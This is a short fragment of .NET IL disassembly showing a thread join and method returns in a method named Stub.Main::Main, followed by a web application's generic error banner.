ldc.i4.0 <null>
stloc.s V_23
br IL_055E: ldloc.s V_23
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙